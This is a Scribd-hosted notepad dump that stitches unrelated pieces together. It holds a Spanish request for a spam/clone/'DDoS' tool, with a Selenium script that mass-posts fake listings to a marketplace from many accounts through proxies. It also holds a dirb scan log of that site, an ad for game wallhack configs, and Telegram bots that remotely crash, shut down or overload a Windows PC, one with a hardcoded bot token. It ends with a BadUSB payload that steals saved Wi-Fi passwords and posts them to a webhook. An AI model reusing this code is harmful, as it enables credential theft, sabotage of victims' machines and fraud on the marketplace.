0% found this document useful (0 votes)
23 views

Notepad

The document outlines a Python script for automating tasks related to a website, including functionalities for spamming, cloning, and managing accounts and products. It includes detailed code snippets for logging in, adding and deleting products, and handling accounts from a text file. The script also mentions features like proxy usage and error handling, while providing a menu for user interaction.

Uploaded by

a42304773
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
23 views

Notepad

The document outlines a Python script for automating tasks related to a website, including functionalities for spamming, cloning, and managing accounts and products. It includes detailed code snippets for logging in, adding and deleting products, and handling accounts from a text file. The script also mentions features like proxy usage and error handling, while providing a menu for user interaction.

Uploaded by

a42304773
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 16

- cloner

- spamer
- acaunts
- auto lifter
- Uper products id
- Server sd

Mira hay que crear un script en python que al ejecutarse muestre laq terminal y
como titulo en la terminal muestre
Select Tool todo el texto en la terminal tendra que ser de color Azul opciones a
elegir en el menu de terminar seria
spamer cloner auto lifter Acaunts maker uper products id Ddos product y Setings.
Spamer seeria como este script from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from webdriver_manager.chrome import ChromeDriverManager
import time
import os

# Configurar Chrome en modo headless


def configure_chrome(proxy=None):
chrome_options = Options()
chrome_options.add_argument("--headless") # Ejecutar sin interfaz gráfica
chrome_options.add_argument("--disable-gpu") # Deshabilitar GPU
chrome_options.add_argument("--window-size=1920x1080") # Tamaño de ventana
chrome_options.add_argument("--no-sandbox") # Evitar problemas en entornos
restringidos
chrome_options.add_argument("--disable-dev-shm-usage") # Prevenir problemas en
contenedores Docker

# Configuración del proxy (si se ha proporcionado)


if proxy:
chrome_options.add_argument(f'--proxy-server={proxy}')

return chrome_options

# Leer cuentas desde archivo


def read_accounts():
accounts = []
try:
with open("accounts.txt", "r", encoding="utf-8") as file:
for line in file:
parts = line.strip().split(":")
if len(parts) == 2:
accounts.append((parts[0], parts[1]))
except FileNotFoundError:
print("\033[91mError: accounts.txt not found.\033[0m")
return accounts

# Función de login
def login(driver, username, password):
driver.get("https://select-place.ru/login")
try:
WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.NAME,
"login"))).send_keys(username)
driver.find_element(By.NAME, "password").send_keys(password + Keys.RETURN)
WebDriverWait(driver, 10).until(EC.url_contains("profile"))
print(f"\033[92mLogged in successfully: {username}\033[0m")
except Exception as e:
print(f"\033[91mLogin error for {username}: {e}\033[0m")

# Ir a productos
def go_to_products(driver):
driver.get("https://select-place.ru/profile/products")
WebDriverWait(driver,
10).until(EC.presence_of_element_located((By.CSS_SELECTOR,
"button.profile__products-add-action")))

# Cerrar modales bloqueantes


def close_modals(driver):
try:
modals = driver.find_elements(By.CLASS_NAME, "product-add-modal")
for modal in modals:
driver.execute_script("arguments[0].classList.remove('show');", modal)
time.sleep(1)
except Exception as e:
print(f"\033[93mWarning: Could not close modals - {e}\033[0m")

# Agregar productos
def add_products(driver):
for _ in range(3):
try:
close_modals(driver)
add_button = WebDriverWait(driver,
10).until(EC.element_to_be_clickable((By.CSS_SELECTOR, "button.profile__products-
add-action")))

add_button.click()
time.sleep(1)
WebDriverWait(driver,
10).until(EC.presence_of_element_located((By.NAME, "product-
name"))).send_keys("Neeverlose")
driver.find_element(By.NAME, "product-summ").send_keys("100")
driver.find_element(By.NAME, "product-data").send_keys("Login: user |
Pass: pass123")
driver.find_element(By.NAME, "product-description").send_keys("365-day
Neverlose subscription.")
image_path = os.path.abspath("ava.png")
driver.find_element(By.ID, "product-image").send_keys(image_path)
save_button = WebDriverWait(driver,
5).until(EC.element_to_be_clickable((By.CSS_SELECTOR, "button.product-add-
modal__save")))

save_button.click()
WebDriverWait(driver, 10).until(EC.url_contains("products"))
print("\033[92mProduct added successfully.\033[0m")
except Exception as e:
print(f"\033[91mError adding product: {e}\033[0m")

# Eliminar productos
def delete_products(driver):
driver.get("https://select-place.ru/profile/products")
WebDriverWait(driver,
10).until(EC.presence_of_element_located((By.CSS_SELECTOR, "a.catalog-
block__photo")))
products = driver.find_elements(By.CSS_SELECTOR, "a.catalog-block__photo")
product_links = [product.get_attribute("href") for product in products][:3]
if not product_links:
print("\033[91mNo products to delete.\033[0m")
return
for link in product_links:
try:
driver.get(link)
WebDriverWait(driver, 5).until(EC.element_to_be_clickable((By.ID,
"delete-product"))).click()
WebDriverWait(driver, 5).until(EC.url_contains("products"))
print(f"\033[92mDeleted product: {link}\033[0m")
except Exception as e:
print(f"\033[91mError deleting product {link}: {e}\033[0m")

# Función principal
def main():
accounts = read_accounts()
if not accounts:
print("\033[91mNo accounts found in accounts.txt\033[0m")
return

# Solicitar si se quiere usar proxy


use_proxy = input("\033[92mDo you want to use a proxy? (y/n): \
033[0m").strip().lower()
proxy = None
if use_proxy == 'y':
proxy_ip = input("\033[92mEnter Proxy IP:PORT (e.g.,
193.31.102.191:9857): \033[0m").strip()
proxy = proxy_ip

print("\033[92m1. Add products\033[0m")


print("\033[92m2. Delete products\033[0m")
option = input("\033[92mSelect an option (1 or 2): \033[0m").strip()

if option in ["1", "2"]:


num_accounts = int(input(f"\033[92mHow many accounts to use? (Max
{len(accounts)}): \033[0m").strip())
num_accounts = min(num_accounts, len(accounts))
for i in range(num_accounts):
username, password = accounts[i]
print(f"\033[92mLogging in with: {username}\033[0m")
chrome_options = configure_chrome(proxy)
driver =
webdriver.Chrome(service=Service(ChromeDriverManager().install()),
options=chrome_options)
try:
login(driver, username, password)
if option == "1":
go_to_products(driver)
add_products(driver)
else:
delete_products(driver)
except Exception as e:
print(f"\033[91mError with account {username}: {e}\033[0m")
finally:
driver.quit()
else:
print("\033[91mInvalid option.\033[0m")

if __name__ == "__main__":
main()
luego el cloner lo que te pediria es poner el id del product despues de eso entra
https://select-place.ru/product/(id) y copia la descripcion y el precio y descargar
el avatar en el msmo directorio que el propio script despues crea un nuevo product
cojiendo como siempre cuenta del archive .txt se logea en tra y coloca el prodducto
poniendo la misma descripcion mismo precio enn donde pone
driver.find_element(By.NAME, "product-data").send_keys("Login: user | Pass:
pass123") ponemos eso mismo ("Login: user | Pass: pass123") y creamos el product
una vez creado eleminamos la imajen descargada siguente el auto lifter demomto lo
dejamos vacioluego y l accounts maker Tambien de momentovaci y vamos con el upper
products id es lo que hara es etrar en una cuenta del archive .txt y lo que hara es
como el spamer products pero en med de jejar los productos eleminarlos y volverlos
a crear asi infinitamente luego todas y de momentto lla

░██████╗███████╗██╗░░░░░███████╗░█████╗░████████╗
████████╗░█████╗░░█████╗░██╗░░░░░
██╔════╝██╔════╝██║░░░░░██╔════╝██╔══██╗╚══██╔══╝
╚══██╔══╝██╔══██╗██╔══██╗██║░░░░░
╚█████╗░█████╗░░██║░░░░░█████╗░░██║░░╚═╝░░░██║░░░
░░░██║░░░██║░░██║██║░░██║██║░░░░░
░╚═══██╗██╔══╝░░██║░░░░░██╔══╝░░██║░░██╗░░░██║░░░
░░░██║░░░██║░░██║██║░░██║██║░░░░░
██████╔╝███████╗███████╗███████╗╚█████╔╝░░░██║░░░
░░░██║░░░╚█████╔╝╚█████╔╝███████╗
╚═════╝░╚══════╝╚══════╝╚══════╝░╚════╝░░░░╚═╝░░░
░░░╚═╝░░░░╚════╝░░╚════╝░╚══════╝

----------------------------------------------------------------------------------
🔻🔻🔻🔻🔻🔻🔻🔻🔻🔻🔻🔻🔻🔻🔻🔻🔻
ALL CONFIGS: https://select-place.ru/product/36176
🔺🔺🔺🔺🔺🔺🔺🔺🔺🔺🔺🔺🔺🔺🔺🔺🔺
-----------------------------------------------------------------------------------
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sun Feb 16 00:16:14 2025


URL_BASE: https://select-place.ru/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: https://select-place.ru/ ----


+ https://select-place.ru/ban (CODE:302|SIZE:338)
+ https://select-place.ru/cgi-bin/ (CODE:301|SIZE:239)
==> DIRECTORY: https://select-place.ru/cgi-sys/
--> Testing: https://select-place.ru/cms
==> DIRECTORY: https://select-place.ru/css/
==> DIRECTORY: https://select-place.ru/image/
+ https://select-place.ru/index (CODE:302|SIZE:338)
+ https://select-place.ru/index.htm (CODE:302|SIZE:354)
+ https://select-place.ru/index.html (CODE:302|SIZE:338)
+ https://select-place.ru/index.php (CODE:302|SIZE:338)
+ https://select-place.ru/index_01 (CODE:302|SIZE:350)
+ https://select-place.ru/index_1 (CODE:302|SIZE:346)
+ https://select-place.ru/index_2 (CODE:302|SIZE:346)
+ https://select-place.ru/index_adm (CODE:302|SIZE:354)
+ https://select-place.ru/index_admin (CODE:302|SIZE:362)
+ https://select-place.ru/index_files (CODE:302|SIZE:362)
+ https://select-place.ru/index_var_de (CODE:302|SIZE:366)
+ https://select-place.ru/index1 (CODE:302|SIZE:342)
+ https://select-place.ru/index2 (CODE:302|SIZE:342)
+ https://select-place.ru/index3 (CODE:302|SIZE:342)
+ https://select-place.ru/indexes (CODE:302|SIZE:346)
+ https://select-place.ru/item (CODE:500|SIZE:8746)
==> DIRECTORY: https://select-place.ru/js/
+ https://select-place.ru/login (CODE:200|SIZE:16514)
==> DIRECTORY: https://select-place.ru/mailman/
+ https://select-place.ru/panel (CODE:302|SIZE:338)
==> DIRECTORY: https://select-place.ru/pipermail/
+ https://select-place.ru/profile (CODE:302|SIZE:338)
+ https://select-place.ru/robots.txt (CODE:200|SIZE:68)
+ https://select-place.ru/rules (CODE:200|SIZE:25981)
+ https://select-place.ru/signup (CODE:200|SIZE:17487)
+ https://select-place.ru/sitemap.xml (CODE:200|SIZE:1040)
==> DIRECTORY: https://select-place.ru/sounds/
+ https://select-place.ru/tickets (CODE:302|SIZE:338)

---- Entering directory: https://select-place.ru/cgi-sys/ ----


+ https://select-place.ru/cgi-sys/index (CODE:302|SIZE:370)
+ https://select-place.ru/cgi-sys/index.htm (CODE:302|SIZE:386)
+ https://select-place.ru/cgi-sys/index.html (CODE:302|SIZE:370)
+ https://select-place.ru/cgi-sys/index.php (CODE:302|SIZE:370)
+ https://select-place.ru/cgi-sys/index_01 (CODE:302|SIZE:382)
+ https://select-place.ru/cgi-sys/index_1 (CODE:302|SIZE:378)
+ https://select-place.ru/cgi-sys/index_2 (CODE:302|SIZE:378)
+ https://select-place.ru/cgi-sys/index_adm (CODE:302|SIZE:386)
+ https://select-place.ru/cgi-sys/index_admin (CODE:302|SIZE:394)
+ https://select-place.ru/cgi-sys/index_files (CODE:302|SIZE:394)
+ https://select-place.ru/cgi-sys/index_var_de (CODE:302|SIZE:398)
+ https://select-place.ru/cgi-sys/index1 (CODE:302|SIZE:374)
+ https://select-place.ru/cgi-sys/index2 (CODE:302|SIZE:374)
+ https://select-place.ru/cgi-sys/index3 (CODE:302|SIZE:374)
+ https://select-place.ru/cgi-sys/indexes (CODE:302|SIZE:378)

---- Entering directory: https://select-place.ru/css/ ----


--> Testing: https://select-place.ru/css/_derived

--> Testing: https://select-place.ru/css/_mmserverscri


--> Testing: https://select-place.ru/css/_scriptlibrar
+ https://select-place.ru/css/cgi-bin/ (CODE:301|SIZE:243)
^A
+ https://select-place.ru/css/index (CODE:302|SIZE:354)
+ https://select-place.ru/css/index.htm (CODE:302|SIZE:370)
+ https://select-place.ru/css/index.html (CODE:302|SIZE:354)
+ https://select-place.ru/css/index.php (CODE:302|SIZE:354)
+ https://select-place.ru/css/index_01 (CODE:302|SIZE:366)
+ https://select-place.ru/css/index_1 (CODE:302|SIZE:362)
+ https://select-place.ru/css/index_2 (CODE:302|SIZE:362)
+ https://select-place.ru/css/index_adm (CODE:302|SIZE:370)
+ https://select-place.ru/css/index_admin (CODE:302|SIZE:378)
+ https://select-place.ru/css/index_files (CODE:302|SIZE:378)
+ https://select-place.ru/css/index_var_de (CODE:302|SIZE:382)
+ https://select-place.ru/css/index1 (CODE:302|SIZE:358)
+ https://select-place.ru/css/index2 (CODE:302|SIZE:358)
+ https://select-place.ru/css/index3 (CODE:302|SIZE:358)
+ https://select-place.ru/css/indexes (CODE:302|SIZE:362)
==> DIRECTORY: https://select-place.ru/css/panel/
==> DIRECTORY: https://select-place.ru/css/profile/

(!) FATAL: Too many errors connecting to host


(Possible cause: COULDNT CONNECT)

-----------------
END_TIME: Sun Feb 16 01:06:33 2025
DOWNLOADED: 13175 - FOUND: 57

CFG

🔶 BEST HVH CFG - лучший хвх кфг.

🔶 FATAL.cfg — Экстремальная конфигурация для агрессивного геймплея.

🔶 LEGIT.cfg — Балансированная настройка для естественного стиля игры.

🔶 no SPREAO.cfg — Убирает разброс оружия для точных выстрелов.


🔶 PRlME.cfg — Профи-настройки для максимальной производительности.

🔶 RAGE.cfg — Активация агрессивного стиля игры.

🔶 WALL.cfg — Настройки для лучшей видимости через стены.

LUA

🔶 hitlogs.lua — Логирует попадания.

🔶 info spam by Never Move.lua — Спамит информацию.

🔶 manuals(Z X C).lua — Руководства по клавишам.

🔶 tracers.lua — Показывает трассеры пуль.

🔶 Whatermark by Never Move.lua — Добавляет водяной знак.

import os
import pygame
import requests
from io import BytesIO
from telegram import Update, InlineKeyboardButton, InlineKeyboardMarkup
from telegram.ext import Application, CommandHandler, CallbackContext,
CallbackQueryHandler, MessageHandler, filters, ConversationHandler
import platform
import json
import firebase_admin
from firebase_admin import credentials, db

# Reemplaza con tu token de Telegram


TOKEN = '7046184243:AAHL-Tr-NYbuVvoHqwDcUEthu3EnspF_iPA'

# Inicializar Firebase
cred = credentials.Certificate('path/to/your/firebase-credentials.json') # Ruta al
archivo JSON de Firebase
firebase_admin.initialize_app(cred, {
'databaseURL': 'https://your-database-name.firebaseio.com/' # URL de tu base
de datos Firebase
})

# Diccionario para almacenar los sonidos, usando el nombre del sonido como clave
sonidos = {}

# Inicializamos el mixer de Pygame


pygame.mixer.init()

# Función para cargar los sonidos desde Firebase


def cargar_sonidos():
global sonidos
ref = db.reference('/sonidos')
sonidos = ref.get() or {}

# Función para guardar los sonidos en Firebase


def guardar_sonidos():
ref = db.reference('/sonidos')
ref.set(sonidos)

# Estados de la conversación
NOMBRE_SONIDO, URL_SONIDO = range(2)

# Función para manejar la opción de "Sonidos" en el menú principal


async def mostrar_menu(update: Update, context: CallbackContext):
query = update.callback_query
keyboard = [
[InlineKeyboardButton("Sonidos", callback_data='sonidos')],
[InlineKeyboardButton("Crash", callback_data='crash')],
[InlineKeyboardButton("Power Off", callback_data='poweroff')],
[InlineKeyboardButton("Lock", callback_data='lock')],
[InlineKeyboardButton("Lager", callback_data='lager')]
]
reply_markup = InlineKeyboardMarkup(keyboard)
await query.answer()
await query.message.edit_text('Selecciona una opción:',
reply_markup=reply_markup)

# Función para mostrar los sonidos disponibles y opciones de reproducción


async def mostrar_sonidos(update: Update, context: CallbackContext):
query = update.callback_query
cargar_sonidos() # Cargar los sonidos más recientes desde Firebase
if len(sonidos) == 0:
await query.answer("No hay sonidos disponibles.")
return

keyboard = []
for nombre in sonidos:
# Botón para reproducir/pausar el sonido
keyboard.append([InlineKeyboardButton(f"Reproducir: {nombre}",
callback_data=f'reproducir_{nombre}')])

# Agregar botones de acciones


keyboard.append([InlineKeyboardButton("Agregar sonido",
callback_data='agregar_sonido')])
keyboard.append([InlineKeyboardButton("Eliminar sonido",
callback_data='eliminar_sonido')])

keyboard.append([InlineKeyboardButton("Volver", callback_data='volver_menu')])

reply_markup = InlineKeyboardMarkup(keyboard)
await query.answer()
await query.message.edit_text('Selecciona un sonido para reproducir o
ajústalo:', reply_markup=reply_markup)

# Función para reproducir o detener un sonido


async def manejar_reproduccion(update: Update, context: CallbackContext):
query = update.callback_query
nombre_sonido = query.data.replace('reproducir_', '')

if nombre_sonido in sonidos:
url = sonidos[nombre_sonido]
response = requests.get(url)
sound_data = BytesIO(response.content)
# Reproducir o detener el sonido
if pygame.mixer.music.get_busy():
pygame.mixer.music.stop() # Detener sonido si ya está en reproducción
await query.answer(f"Sonido '{nombre_sonido}' detenido.")
else:
pygame.mixer.music.load(sound_data)
pygame.mixer.music.play()
await query.answer(f"Reproduciendo el sonido '{nombre_sonido}'.")
else:
await query.answer(f"El sonido '{nombre_sonido}' no está disponible.")

# Función para enviar el comando para agregar un sonido


async def agregar_sonido(update: Update, context: CallbackContext):
await update.callback_query.message.reply_text("Por favor, ingresa el nombre
del sonido que deseas agregar.")
return NOMBRE_SONIDO # Cambia el estado a NOMBRE_SONIDO

# Función para manejar el nombre del sonido y luego pedir la URL


async def manejar_nombre_sonido(update: Update, context: CallbackContext):
nombre_sonido = update.message.text
context.user_data['nombre_sonido'] = nombre_sonido # Guardar nombre del sonido
await update.message.reply_text("Ahora, por favor, ingresa la URL del sonido.")
return URL_SONIDO # Cambio de estado para solicitar la URL

# Función para manejar la URL del sonido y agregarlo


async def manejar_url_sonido(update: Update, context: CallbackContext):
url = update.message.text
nombre_sonido = context.user_data.get('nombre_sonido')

if nombre_sonido:
sonidos[nombre_sonido] = url
guardar_sonidos() # Guardamos los sonidos después de agregarlos
await update.message.reply_text(f"Sonido '{nombre_sonido}' agregado con
éxito. URL: {url}")

# Enviar el comando adecuado al chat para agregar el sonido manualmente


command = f"/agregar_sonido {nombre_sonido} {url}"
await update.message.reply_text(f"Usa este comando para agregar el sonido
manualmente: {command}")

del context.user_data['nombre_sonido'] # Limpiar datos del usuario


await mostrar_sonidos(update, context) # Volver al menú de sonidos
else:
await update.message.reply_text("No se ha recibido el nombre del sonido.")

# Función para enviar el comando para eliminar un sonido


async def eliminar_sonido(update: Update, context: CallbackContext):
if len(sonidos) == 0:
await update.callback_query.message.reply_text("No hay sonidos disponibles
para eliminar.")
return

# Crear una lista de botones con los nombres de los sonidos


keyboard = [
[InlineKeyboardButton(f"Eliminar: {nombre}",
callback_data=f"eliminar_{nombre}") for nombre in sonidos]
]
keyboard.append([InlineKeyboardButton("Volver", callback_data='volver_menu')])
reply_markup = InlineKeyboardMarkup(keyboard)
await update.callback_query.message.reply_text("Selecciona el sonido que deseas
eliminar:", reply_markup=reply_markup)

# Función para confirmar la eliminación del sonido


async def confirmar_eliminacion(update: Update, context: CallbackContext):
query = update.callback_query
nombre_sonido = query.data.replace('eliminar_', '')

if nombre_sonido in sonidos:
del sonidos[nombre_sonido]
guardar_sonidos() # Guardamos los cambios
await query.answer(f"El sonido '{nombre_sonido}' ha sido eliminado.")

# Enviar el comando adecuado al chat para eliminar el sonido manualmente


command = f"/eliminar_sonido {nombre_sonido}"
await query.message.reply_text(f"Usa este comando para eliminar el sonido
manualmente: {command}")

await mostrar_sonidos(update, context) # Volver al menú de sonidos


else:
await query.answer(f"No se encontró el sonido '{nombre_sonido}'.")

# Función para manejar el retorno al menú principal


async def volver_menu(update: Update, context: CallbackContext):
query = update.callback_query
await mostrar_menu(update, context)

# Funciones para las acciones del sistema (Crash, Power Off, Lock, Lager) solo en
Windows
async def crash_computadora(update: Update, context: CallbackContext):
os.system("taskkill /F /IM explorer.exe")
await update.message.reply_text(
"Sistema 'crasheado'. La pantalla podría volverse negra y necesitará un
reinicio.")

async def apagar_computadora(update: Update, context: CallbackContext):


os.system("shutdown /s /f /t 0")

async def bloquear_computadora(update: Update, context: CallbackContext):


os.system("rundll32.exe user32.dll,LockWorkStation")

async def lager_computadora(update: Update, context: CallbackContext):


await update.message.reply_text("Cargando al máximo CPU y GPU...")
while True:
pass

# Función para iniciar el bot


async def start(update: Update, context: CallbackContext):
keyboard = [
[InlineKeyboardButton("Abrir Menú", callback_data='open_menu')]
]
reply_markup = InlineKeyboardMarkup(keyboard)
await update.message.reply_text(
'¡Hola! Selecciona una opción del menú para interactuar con el bot.',
reply_markup=reply_markup
)

# Función principal que configura el bot y los handlers


def main():
cargar_sonidos() # Cargar los sonidos guardados
application = Application.builder().token(TOKEN).build()

# Agregar handlers para los diferentes botones


conv_handler = ConversationHandler(
entry_points=[CallbackQueryHandler(agregar_sonido,
pattern='agregar_sonido')],
states={
NOMBRE_SONIDO: [MessageHandler(filters.TEXT & ~filters.COMMAND,
manejar_nombre_sonido)],
URL_SONIDO: [MessageHandler(filters.TEXT & ~filters.COMMAND,
manejar_url_sonido)],
},
fallbacks=[],
)
application.add_handler(conv_handler)

application.add_handler(CallbackQueryHandler(eliminar_sonido,
pattern='eliminar_sonido'))
application.add_handler(CallbackQueryHandler(confirmar_eliminacion,
pattern=r'^eliminar_.*'))

# Funciones para las acciones del sistema solo en Windows


application.add_handler(CallbackQueryHandler(crash_computadora,
pattern='crash'))
application.add_handler(CallbackQueryHandler(apagar_computadora,
pattern='poweroff'))
application.add_handler(CallbackQueryHandler(bloquear_computadora,
pattern='lock'))
application.add_handler(CallbackQueryHandler(lager_computadora,
pattern='lager'))

# Iniciar el bot
application.run_polling()

if __name__ == '__main__':
main()

/*
Following payload will grab saved Wifi password and will send them to your hosted
webhook and hide the cmd windows by using technique mentioned in hak5darren
rubberducky wiki -- Payload hide cmd window [https://github.com/hak5darren/USB-
Rubber-Ducky/wiki/Payload---hide-cmd-window]
*/

#include "DigiKeyboard.h"
#define KEY_DOWN 0x51 // Keyboard Down Arrow
#define KEY_ENTER 0x28 //Return/Enter Key

void setup() {
pinMode(1, OUTPUT); //LED on Model A
}

void loop() {

DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);

DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run


DigiKeyboard.delay(100);
DigiKeyboard.println("cmd /k mode con: cols=15 lines=1"); //smallest cmd window
possible
DigiKeyboard.delay(500);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT); //Menu
DigiKeyboard.sendKeyStroke(KEY_M); //goto Move
for(int i =0; i < 100; i++)
{
DigiKeyboard.sendKeyStroke(KEY_DOWN);
}
DigiKeyboard.sendKeyStroke(KEY_ENTER); //Detach from scrolling
DigiKeyboard.delay(100);
DigiKeyboard.println("cd %temp%"); //going to temporary dir
DigiKeyboard.delay(500);
DigiKeyboard.println("netsh wlan export profile key=clear"); //grabbing all the
saved wifi passwd and saving them in temporary dir
DigiKeyboard.delay(1000);
DigiKeyboard.println("powershell Select-String -Path Wi-Fi*.xml -Pattern
'keyMaterial' > Wi-Fi-PASS"); //Extracting all password and saving them in Wi-Fi-
Pass file in temporary dir
DigiKeyboard.delay(1000);
DigiKeyboard.println("powershell Invoke-WebRequest -Uri
https://webhook.site/<ADD-WEBHOOK-ADDRESS-HERE> -Method POST -InFile Wi-Fi-
PASS"); //Submitting all passwords on hook
DigiKeyboard.delay(1000);
DigiKeyboard.println("del Wi-Fi* /s /f /q"); //cleaning up all the mess
DigiKeyboard.delay(500);
DigiKeyboard.println("exit");
DigiKeyboard.delay(100);

digitalWrite(1, HIGH); //turn on led when program finishes


DigiKeyboard.delay(90000);
digitalWrite(1, LOW);
DigiKeyboard.delay(5000);

import os
import pygame
import requests
import subprocess
import sys
from io import BytesIO
from telegram import Update, InlineKeyboardButton, InlineKeyboardMarkup, Message
from telegram.ext import Application, CommandHandler, CallbackContext,
CallbackQueryHandler
from pycaw.pycaw import AudioUtilities, IAudioEndpointVolume

# Initialize Pygame mixer


pygame.mixer.init()

# URL of fixed sounds


SOUNDS = {
'radio': "https://cdn.freesound.org/previews/788/788660_5828667-lq.mp3",
'boom': "https://www.myinstants.com/media/sounds/ddg-boom_KZ9NU4w.mp3",
'pitido': "https://www.myinstants.com/media/sounds/dog-whistle.mp3",
'knock': "https://www.myinstants.com/media/sounds/crazy-realistic-knocking-
sound-trim.mp3",
'sigma': "https://www.myinstants.com/media/sounds/sigma-boy.mp3"
}

# Cache for loaded sounds to avoid re-downloading


sound_cache = {}

# Function to load sound from URL or cache


def load_sound(url):
if url not in sound_cache:
try:
response = requests.get(url)
sound = BytesIO(response.content)
pygame.mixer.music.load(sound)
sound_cache[url] = sound # Cache the sound
except Exception as e:
print(f"Error loading sound: {e}")
return None
else:
pygame.mixer.music.load(sound_cache[url]) # Load from cache

# Function to play or stop a sound


def play_or_stop_sound(sound_name):
if pygame.mixer.music.get_busy():
pygame.mixer.music.stop()
else:
load_sound(SOUNDS[sound_name])
pygame.mixer.music.play()

# Function to change system volume


def change_system_volume(volume):
devices = AudioUtilities.GetSpeakers() # Get output audio devices (speakers)
interface = devices.Activate(IAudioEndpointVolume._iid_, 1, None) # Activate
volume control interface
volume_control = interface.QueryInterface(IAudioEndpointVolume) # Get volume
interface
volume_control.SetMasterVolumeLevelScalar(volume / 100.0, None) # Set volume
(0.0 to 1.0)

# Function to adjust volume through the bot


async def adjust_volume(update: Update, context: CallbackContext):
query = update.callback_query
keyboard = [
[InlineKeyboardButton("10%", callback_data='vol_10'),
InlineKeyboardButton("30%", callback_data='vol_30'),
InlineKeyboardButton("50%", callback_data='vol_50')],
[InlineKeyboardButton("70%", callback_data='vol_70'),
InlineKeyboardButton("100%", callback_data='vol_100')],
[InlineKeyboardButton("Back", callback_data='back_to_menu')]
]
reply_markup = InlineKeyboardMarkup(keyboard)
await query.answer()
await query.message.edit_text('Select volume level:',
reply_markup=reply_markup)

# Function to set volume based on selection


async def set_volume(update: Update, context: CallbackContext):
query = update.callback_query
volume = int(query.data.replace('vol_', '')) # Extract volume value
change_system_volume(volume) # Change system volume
await query.answer(f"System volume adjusted to {volume}%")

# Function to show sound menu


async def show_sound_menu(update: Update, context: CallbackContext):
query = update.callback_query
keyboard = [
[InlineKeyboardButton("Radio", callback_data='radio')],
[InlineKeyboardButton("Boom", callback_data='boom')],
[InlineKeyboardButton("Whistle", callback_data='pitido')],
[InlineKeyboardButton("Knock", callback_data='knock')],
[InlineKeyboardButton("Sigma", callback_data='sigma')],
[InlineKeyboardButton("Back", callback_data='back_to_menu')]
]
reply_markup = InlineKeyboardMarkup(keyboard)
await query.answer()
await query.message.edit_text('Select a sound to play:',
reply_markup=reply_markup)

# Function to play selected sound


async def play_sound(update: Update, context: CallbackContext):
query = update.callback_query
sound_name = query.data # The name of the sound is the callback data
play_or_stop_sound(sound_name)
await query.answer(f"Playing {sound_name}")

# Function to return to the main menu


async def back_to_menu(update: Update, context: CallbackContext):
query = update.callback_query
keyboard = [
[InlineKeyboardButton("Sounds", callback_data='sounds')],
[InlineKeyboardButton("Crash", callback_data='crash')],
[InlineKeyboardButton("Power Off", callback_data='poweroff')],
[InlineKeyboardButton("Lock", callback_data='lock')],
[InlineKeyboardButton("Overload CPU", callback_data='overload')],
[InlineKeyboardButton("Adjust Volume", callback_data='adjust_volume')]
]
reply_markup = InlineKeyboardMarkup(keyboard)
await query.answer()
await query.message.edit_text('Select an option:', reply_markup=reply_markup)
# Function to crash the computer
async def crash_computer(update: Update, context: CallbackContext):
os.system("taskkill /F /IM explorer.exe")
await update.message.reply_text("System 'crashed'. The screen may go black and
will need a restart.")

# Function to power off the computer


async def shutdown_computer(update: Update, context: CallbackContext):
os.system("shutdown /s /f /t 0")
await update.message.reply_text("The computer will shut down now.")

# Function to lock the computer


